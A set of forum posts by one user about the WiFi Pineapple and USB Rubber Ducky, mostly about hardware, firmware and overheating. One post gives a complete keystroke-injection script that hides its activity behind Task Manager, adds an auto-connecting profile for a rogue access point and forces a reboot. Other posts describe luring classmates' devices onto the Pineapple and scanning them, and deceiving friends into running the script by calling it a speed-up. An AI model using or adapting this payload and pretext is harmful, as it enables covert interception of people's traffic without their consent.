mreidiv

Darren can you ad the plugin for tapatalk on this forum so we can view it on mobile or tablet through tapatalk its free

ok thanks for the info will the firmware be compatible with the mk3

are you able to say what hardware it is running on?

So if i am understanding you correctly it is the same hardware as the mk3 just different firmware

Hey what are the specs and features on the MK4 Shannon was talking about. and is there going to be a trade in program for those of us that bought a mk3 recently?

nice the pineapple gets more interesting by the second.... Thank you..

so if i connect to the pineapple using the wifi i should be able to activate the tools before i plug it in right or i can use it as a hidden connection to the network if i had physical access to the internal network?

Can you just plug the mk3 straight to the router and some how have an internet connection from there bypassing the computer in the middle? If so how would i set it up?

thats kind of what i was thinking but i dont have the know how to program it ...

Think we can do anything with it? http://www.alfa.com.tw/in/front/bin/ptdetail.phtml?Part=R36&Category=105483 Processor: Ralink RT3050F @ 320Mhz Flash: MXIC MX29LV640EBTI-70G (not sure what size) RAM: EtronTech EM63A165TS-6G One USB port One Serial Port @ 115200bps One WAN One LAN 2 buttons - reset to factory default and one for the WPS https://forum.openwrt.org/viewtopic.php?pid=146906

telot you are using an un supported driver see here for compatible driver

When this happened to me it was DoS-ing my router and put my router in a boot loop till i stopped it this attack has been know to DoS some routers

ok i ran the pineapple in a target rich environment "My Tech school" and was able to get people to connect to it, nmaped most of them and the all seemed to be running xp, there was one win 7 that i know of because he was sitting in class next to me but im sure it is because i slipped my ducky in with my win7 auto connect script on it. i had everything running for three hours and the mk3 sitting on the laptop cooling pad right onto of the fan after stopping i notice a significant heat difference. I have three more days at school this week i will try to mimic the results with different configurations and see if it works the same. Most of the connections other than xp were phones ipods and tablets.

not sure yet will go see if i can pick up a cheap digital temp sensor tomorrow at the store i am pretty sure the rf shield just pops off like a lid when i make it that far ill let you know

Well ran a test with a laptop fan for 3 hours straight. I just set the router on a laptop cooling pad/fan. no shutdown running everything so now i know it is an heat issue with my mk3 i will run a couple of more test to confirm and will post the results. if they are the same i will mod it with a fan and post it here.

Ditto

DEFAULT_DELAY 300 ESC ESC REM opens task manager for a distraction REM tell user you are checking memory or somthing GUI r STRING taskmgr ENTER DELAY 20 ALT SPACE DELAY 10 STRING X DELAY 10 TAB TAB TAB TAB DELAY 10 RIGHT DELAY 10 RIGHT DELAY 10 REM opens network manager CTRL ESC STRING Manage Wireless Networks DELAY 10 ENTER DELAY 10 TAB DELAY 10 TAB DELAY 10 TAB DELAY 10 TAB DELAY 10 ENTER DELAY 10 ENTER REM creates ap association DELAY 10 STRING I_Love_Pineapples TAB DOWN TAB SPACE TAB SPACE ENTER ESC ALT F4 CTRL ESC REM reboots for autoconnect to pineapple GUI r STRING Shutdown.exe -r -t 00 ENTER REM IF you find bug please or a way to make REM it better email me @ mreidiv@yahoo.com Updated code for slower boxes. http://www.iducke.com/Encoder/IDE/3h

no problem i just tried it on a laptop found out you have to tweak the delay in it because like a dummy i did not take in to account that other computer might be slower than my desktop. lol

Script that creates association for win 7 to connect to the pineapple. Win 7 will not connect to the pineapple unless it has the connection set to connect even if not broadcasting checked. for fast boxes http://www.iducke.com/Encoder/IDE/3f for slower boxes http://www.iducke.com/Encoder/IDE/3h Also can be found in the payloads section of the wiki

I am open to any input anyone may have. I was just trying to find a way of making my pineapple useful on win 7 boxes. If you have any suggestions to make the pineapple work better with win 7 please let me know or any suggestions to clean up my code i am really new to this currently going to school for ISS or as they like to call it now at my school ISCC Information systems cyber crime.

true but i think it would be use full if you acted like a computer tech checking security or something like that. i will be using it at school showing my friends how that script makes there computer go faster. then the will let me run it that's y it pulls up task manager and task manager hides all that is going on in the background then it reboots for the auto connection to take effect. and bingo the pineapple has got the win 7 computers if you don't think it is useful feel free to take it off the wiki

if you have a ducky you can run a script i made to automatically add a ssid with open connection and no encryption and auto-connect even though not broadcasting. then it reboots the computer. you can modify the script with the exact ssid and social engineer it how you want to. here is the link or you can check it out in the usbrubberducky wiki http://www.iducke.com/Encoder/IDE/3f Hope it helps someone...

it looks like you have not started your internet connection. eg the conenction to the internet on your computer. first try this go to terminal type : wicd then go to the dragon-ICON-->Internet---> wicd click connect to wired network then open a browser and type in: http://172.16.42.1/pineapple and see if the web gui pops up rember that you will proabaly have to wait a few minutes for the pinapple to to start up befor you type in the http://172.16.42.1/pineapple

I am no sure on on the way the fan should go, but i would think you should be pulling heat out in turn it would suck cold air in. also on the voltage you cold possible pull it off the battery pack or the connection that you hook the battery pack in to a single aa battery puts out 1.5 volts so for of them you would have 6 volts use a resister to drop the power to the fan. this is all just theory so take it what its worth.

this fan should work fine on top of a heatsink http://www.unitedpro.com/D2010L05BS.htm